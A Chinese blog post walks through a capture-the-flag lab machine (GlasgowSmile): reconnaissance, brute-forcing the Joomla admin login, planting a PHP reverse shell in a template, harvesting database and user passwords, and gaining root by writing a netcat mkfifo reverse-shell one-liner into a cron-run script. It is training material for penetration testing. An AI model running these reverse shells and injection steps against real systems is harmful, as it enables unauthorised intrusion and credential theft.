GlasgowSmile靶机复现

已于 2023-10-18 10:36:09 修改
阅读量88 收藏
点赞数 1
分类专栏： 靶机复现 文章标签： 安全 网络安全
于 2023-10-18 10:34:02 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_72372037/article/details/133895474
版权

GlasgowSmile靶机复现

首先将靶机和kali设置到同一个网段内

靶机开机发现提供了ip

  • 192.168.187.128
    在这里插入图片描述

信息搜集

首先对此靶机ip进行一个简单探测发现只有两个开放的端口

80和22

nmap 192.168.187.128

首先选用80端口为突破口

在这里插入图片描述

拿到IP对其进行访问

  • 得到此网站

在这里插入图片描述

对其网站进行一个目录扫描

dirsearch -u http://192.168.187.128

在这里插入图片描述

扫描结果发现有可利用信息

首先对这个网址进行了一个访问http://192.168.187.128/joomla/

查看其源码也并未发现什么有价值的东西

  • 源码里有一个joker怀疑是一个用户名（但其实并不是）

在这里插入图片描述

在这里插入图片描述

然后运用扫描工具joomscan对该网站进行扫描

  • 这里可以上午查一下joomla扫描器

  • 这里kali有自带的

  • 没有的话下载一个

apt install joomscan		# 下载
joomscan					# 进入此模块
joomscan -u http://192.168.187.128/joomla/ # 扫描该网站

在这里插入图片描述

扫描得到一个网址对其网站进行访问

  • 此网页上面工具也有扫描得到，做此扫描为了拿到一些更详细的信息

  • 发现为登录页面

在这里插入图片描述

这里我利用了cewl工具来爬取joomla网站上的关键字做一个密码字典

cewl http://192.168.187.128/joomla > psl.txt

在这里插入图片描述

在这里插入图片描述

暂时这个网站登录的用户名也不清楚，下载的时候已知晓此靶机为一个ctf的

  • 这里我上网查了一下joomla默认用户名
  • 这里发现多个用户名

在这里插入图片描述

密码爆破

利用bp开始进行密码爆破，密码字典则运用刚刚在网页上爬取的

  • 用户名则把刚刚查到的和上面网页中收集的都进行进行尝试一下
  • 这里爆破出的用户名为joomla 密码为Gotham

在这里插入图片描述

登录成功

在这里插入图片描述

进入之后选择模板这个

在这里插入图片描述

然后选择第一个点击beez3进入

在这里插入图片描述

发现可以上传文件

  • 这里我是敲了两下空格进行了一下保存发现保存成功了

在这里插入图片描述

这里我选择了kali里面的一个php反弹shell

  • 这里有两个方案
    • 1.则是全部替换
    • 2.只复制php代码，不负责开头
  • 我这里选用了第二个只复制了php代码
cat /usr/share/webshells/php/php-reverse-shell.php

在这里插入图片描述

将复制的php代码随便找一一个空白行插入即可

这里的ip需修改为自己kali的IP即可

在这里插入图片描述

修改后的

在这里插入图片描述

然后在kali里打开nc监听端口

在这里插入图片描述

回到网站刷新一下

  • 记得是joomla网址刷新一下，此时kali就会接收到

在这里插入图片描述

在这里插入图片描述

此时利用python中pty模块显示虚拟终端

  • 成功进入
python -c 'import pty;pty.spawn("bin/bash")'
# 或运用下面这个也是可行的
/usr/bin/script -qc /bin/bash /dev/null

在这里插入图片描述

经过信息收集最终在/var/www/joomla2/configuration.php目录下发现了一个配置文件里面有数据库的账户和密码信息

  • 这里进行查看此文件

在这里插入图片描述

发现里面有数据库的账号和密码

在这里插入图片描述

拿到账号和密码

  • 对其mysql进行登录
mysql -ujoomla -p

在这里插入图片描述

数据库登录成功

查看数据库

show databases;

在这里插入图片描述

最终发现里面有rob用户的信息，

  • 这为什么直接查看rob的这个因为我查看了homle下有个用户一个就为rob

  • 发现该加密方式为base64编码尝试对该密码进行解码

在这里插入图片描述

解密成功拿到一个密码???AllIHaveAreNegativeThoughts???

在这里插入图片描述

然后进行尝试ssh远程登录

发现登录成功

在这里插入图片描述

开始提权

  • 测试发现有一个内核漏洞这是一个作弊的方式
    • 可以去尝试一下les.sh通杀漏洞也是可以的

这里我常规操作

首先进入home目录下

发现还有两个用户

在这里插入图片描述

首先进入rob里面查看有能否利用的信息

  • 发现第一个文件里面有base64的密文——发现这个编码这个放进去是解密不出来东西的（不信的话可以去尝试一下）
  • 经过词频分析发现为一个凯撒(ROT)加密的密文

在这里插入图片描述

这里首先进行词频分析

  • 这里我将刚刚文件里的所有内容粘贴过来了
    在这里插入图片描述

此时经过词频分析之后的base64编码拿去解码发现可以解码成功

  • 发现为一个凯撒加密的密文
  • 然后对其文件进行凯撒进行详细解码
  • 为什么不直接运用词频分析出来的
    • 因为词频分析为推测出的稳妥起见直接运用凯撒解码（ROT）

在这里插入图片描述

在这里插入图片描述

解密成功之后拿去base进行二次解密

解密出结果为I33hope99my0death000makes44more8cents00than0my0life0
在这里插入图片描述

拿到密码这里尝试登录abner

在这里插入图片描述

发现登录成功

查看此文件夹下的第一个文件

在这里插入图片描述

发现此文件相当于一个日志

这里发现此用户解压了一个文件
在这里插入图片描述

对其进行此文件进行查找一下

find / -name ".dear_penguins.zip" -type f 2>/dev/null

在这里插入图片描述

复制此文件到当前目录下

cp /var/www/joomla2/administrator/manifests/files/.dear_penguins.zip .

在这里插入图片描述

对其文件进行解压查看有能可利用信息

  • 解压发现此文件解压需要密码则是刚刚上面解密出来的用户密码
  • 发现成功解压了
unzip .dear_penguins.zip

在这里插入图片描述

查看此文件发现里面有一串密码推测为最后一个人的密码

scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz

在这里插入图片描述

尝试登录

  • 登录成功

在这里插入图片描述

这里不用find提权是因为find这个属于此用户的提权也是提的自己权提不到root

在这里插入图片描述

这里我尝试的是运用进程方式提权

  • 这里我运用了pspy64工具

    • 因为此用户没有权限查看实时进程

  • 下载链接 https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64

  • kali中输入

    • wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64

在这里插入图片描述

开始python80端口导入到靶机中去

在这里插入图片描述

将工具下载靶机中

在这里插入图片描述

这里给pspy64提一下权

chmod +x pspy64

在这里插入图片描述

运用此工具（此工具相当于一个进程管理器不许root权限）

./pspy64

在这里插入图片描述

发现此文件可以查看定时任务

  • 如果运用cat /etc/crontab是没有权限的此文件为一个系统级别的，为了规范都写在里面

    而且cronta还有几个细分的文件夹，并非必须写在主文件夹里面

    主文件夹可以理解为一个man的入口可以去调用其他的一些文件

    标准的cronta里面都会加一条环境变量如果不加的话一些程序可能启动不了

在这里插入图片描述

在这里插入图片描述

这里通过监控进程发现他的进程任务

这里面发现一个/bin/sh -c /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old这个文件会定期执行

在这里插入图片描述

此文件则在下面目录下

在这里插入图片描述

发现此文件为一个有权限的/bin/sh文件

  • 这里只需要注入一条命令弹回一个shell就ok了

在这里插入图片描述

这里我运用了nc反弹rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.187.129 1234 >/tmp/f

  • 编译此文件

在这里插入图片描述

将上面命令复制进去输入:wq保存退出

  • 这里注意不能在exit 0 后面写东西如果写在后面就退出了

在这里插入图片描述

这是打开kali打开nc监听

  • 然后靶机中运行pspy64

    等到它执行完之后就会卡住

    此时kali里的nc就会接收到反弹

在这里插入图片描述

接收回显成功

在这里插入图片描述

查看当前目录发现

提权成功

在这里插入图片描述

海绵宝宝救赎
关注
专栏目录
DC1 靶机复现详细流程
10-02
DC1 靶机复现详细流程
vulnhub靶机GlasgowSmile
weixin_52450702的博客
10-28 499
靶机下载地址靶机 ip：192.168.70.159。
GlasgowSmile-v2靶机全程(超详细!)
qq_68868384的博客
08-09 209
在这里我们可以自己创建一个zipfile.py文件，在moonlight.py所在的目录，这样python调用的时候就会先调用我们这个zipfile.py，我们在这个文件中写一个反弹shell，因为moonlight.py是以venom身份运行的，所以我们可以返回一个venom的shell。我们把这个key复制到kali中创建一个tmp文件，然后执行以下代码，让每行以AF结尾输出到a.txt中去，再执行我们的解密代码，再把换行符删除掉就解密成功，出现了我们第二个密码。
GlasgowSmile-v2靶机复盘
weixin_44681307的博客
07-09 152
在这里我们可以自己创建一个zipfile.py文件，在moonlight.py所在的目录，这样python调用的时候就会先调用我们这个zipfile.py，我们在这个文件中写一个反弹shell，因为moonlight.py是以venom身份运行的，所以我们可以返回一个venom的shell。发现开通了22，80，83，但是8080端口是个开启我们无法访问的状态，所以可以猜测，这个端口可能没有对外开放，只有本地可以访问。
GlasgowSmile靶机渗透记录（超全超详细适用于刚接触网安的小白们）
2301_78192136的博客
11-07 346
重新阅读文件内容，该文件以英文写成类似一封信，但一个单词都不认识，联想到凯撒密码，尝试偏移量1进行解密，得到两段文字，其中一段很容易判断出其大意，猜测其可能为正确解码内容，再对文末的base64加密内容进行解密，得到一串密码。当前计算机的登录用户有root（超管），rob，abner，penguin，sync，mysql，而sync和mysql用户可能是使用某些服务的用户，暂不考虑提权为这两个用户，所以提权目标就是rob，abner，penguin这三个账户，进一步提升为root账户。
Vulnhub GlasgowSmile靶机渗透记录
m0_43424471的博客
10-13 1289
环境配置 镜像下载地址：http://www.vulnhub.com/entry/glasgow-smile-11,491/ 目标：三个user.txt，root权限 Kali Linux IP: 192.168.1.128 GlasgowSmile IP: 192.168.1.142 信息收集 利用netdiscover进行主机发现： netdiscover -i 网卡设备名 使用nmap进行端口扫描： nmap -A -p- -sS 192.168.1.142 使用dirb对80端口
Kioptrix2-WalkThrough 靶机复现.docx
10-18
Kioptrix2-WalkThrough 靶机复现 本文将对 Kioptrix2 靶机复现的整个过程进行详细的知识点总结，涵盖信息收集、攻击、提权等阶段的关键技术点。 信息收集阶段 在信息收集阶段，我们首先需要对靶机进行 IP 探活，...
永恒之蓝复现kaliwin7
07-19
### 恒之蓝漏洞复现：Kali Linux 攻击 Windows 7 #### 实验背景及目的 “永恒之蓝”（EternalBlue）是一种针对 Windows 操作系统的严重漏洞，该漏洞允许攻击者在无需用户交互的情况下实现远程代码执行。本次实验...
PWN靶机环境 网络安全
05-23
PWN靶机环境
Glasgow Smile
m0_46580995的博客
10-02 334
dirb 扫描目录发现 joomla joomscan扫一下 cewl -m 5 http://192.168.1.106/joomla/ > dic-words.txt 生成字典爆破用户名密码 得到joomla Gotham 登录后把index.php改成shell 访问并得到shell 在webconfig中·发现mysql用户名密码 登录mysql 找到rob登录密码ssh登录 找到一串rot13 再base64 更换用户 去网站根目录下枚举文件 看见一个隐藏文件 开启pythonhttp服务
禁用微软的windos安全中心
最新发布
qq_54523516的博客
10-12 672
描述：下载第三方软件常常会收到病毒防护秒杀，第2---提前下载在U盘解压会被干掉程序文件。第3---运行的时候报错，被干掉运行文件。选择禁用windows defender。打开WDControl 1.5.0软件。打开windows安全中心。第1---直接无法下载。
域1：安全与风险管理 第2章-人员安全与风险管理
rm -rf /*
10-12 956
风险管理过程包括识别可能造成数据损坏或泄漏的因素，根据数据价值和控制措施的成本评估这些因素，并实施具有成本效益的解决方案来减轻或者降低风险。通过执行风险管理，为全面降低风险奠定基础。
如何选择安全的谷歌浏览器插件
2403_86768603的博客
10-12 563
在数字时代，浏览器插件为我们提供了极大的便利，增强了我们的浏览体验。然而，随着便利性的增加，安全性问题也日益凸显。以下是详细的教程，帮助你选择和使用安全的谷歌浏览器插件。在安装任何插件之前，查看其开发者信息，包括开发者的名称、网站以及其他用户的评价。一个仅仅提供网页高亮功能的插件请求访问你的联系人列表显然是不合理的。记住，保护个人信息的安全是一场持久战，需要我们持续的关注和努力。最后，安装可靠的安全软件可以帮助防止恶意软件和病毒的入侵。确保这些密码的安全性，避免使用简单或重复的密码。
探索光耦：光耦助力高速电吹风安全与性能的革命性提升
forvevr的博客
10-10 486
一旦电吹风内部温度过高或电路出现故障，光耦能够迅速传递故障信号至控制器，触发自动保护机制，切断电源，从而防止元器件损坏，延长电吹风的使用寿命。综上所述，选择搭载光耦技术的高速电吹风，不仅意味着为头发护理带来了更健康、智能的解决方案，更是对安全性和耐用性的有力保障。这一利用光信号实现电气隔离的电子元件，通过独特的非接触式传输方式，有效隔绝了电路的电气联系，从而显著提高了设备的安全性，避免了高压电路可能带来的风险。其中，光耦（光电耦合器）的引入，无疑为电吹风的性能优化与安全保障开辟了新路径。
企业内部文档安全外发如何挑选合适的外发系统？
镭速的博客
10-12 642
镭速技术已成功帮助多家企业实现文档安全外发管理，如在B2B模式下，通过镭速技术，企业可以构建一个安全、高效、可控的文档外发管理体系，从而在激烈的市场竞争中占据优势。然而，如何在保证信息安全的同时实现高效、便捷的文档外发，成为了一个不小的挑战。：镭速技术已成功帮助多家企业实现文档安全外发管理，如在B2B模式下，通过镭速技术，企业可以构建一个安全、高效、可控的文档外发管理体系，从而在激烈的市场竞争中占据优势。：通过多层次的安全机制，如数据传输全程加密、审批流程、传输日志记录等，确保文档在传输过程中的安全性。
网络安全的全面指南
qq_42568323的博客
10-09 1190
网络安全是指保护计算机网络及其数据免受未经授权访问、攻击或破坏的过程。其目标是确保信息的机密性、完整性和可用性。
华为免费杀毒软件 | HiSec Endpoint 智能终端安全系统
dntkorg的博客
10-09 443
HiSec Endpoint智能终端安全系统是由华为开发的一款全面的终端安全防护产品。该系统的核心目的是保护终端资产的安全，防止各种网络威胁。能够实时感知终端异常行为，多维检测识别潜在安全威胁，自动处置威胁事件，智能溯源入侵路径，并提供一键勒索加密文件回滚功能，帮助用户保护核心终端资产安全。经权威三方机构检测，已知勒索检出率达到100%，有效抵御勒索威胁。
DW-大模型生图安全疫苗注入作业记录
Loss
10-10 345
创建实例后与你运行代码，git clone model 太慢了。再跑相关程序，提交csv结果即可。模型下载慢问题 解决办法。
Kioptrix2靶场复现：SQL注入到权限提升详解
"Kioptrix2-WalkThrough 靶机复现文档详细记录了在Kali Linux环境下对Kioptrix Level 1-1.2靶机的渗透测试过程，包括信息收集、漏洞利用和权限提升等关键步骤。靶机主要开放了MySQL、SSH和HTTP服务，通过SQL注入攻破...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值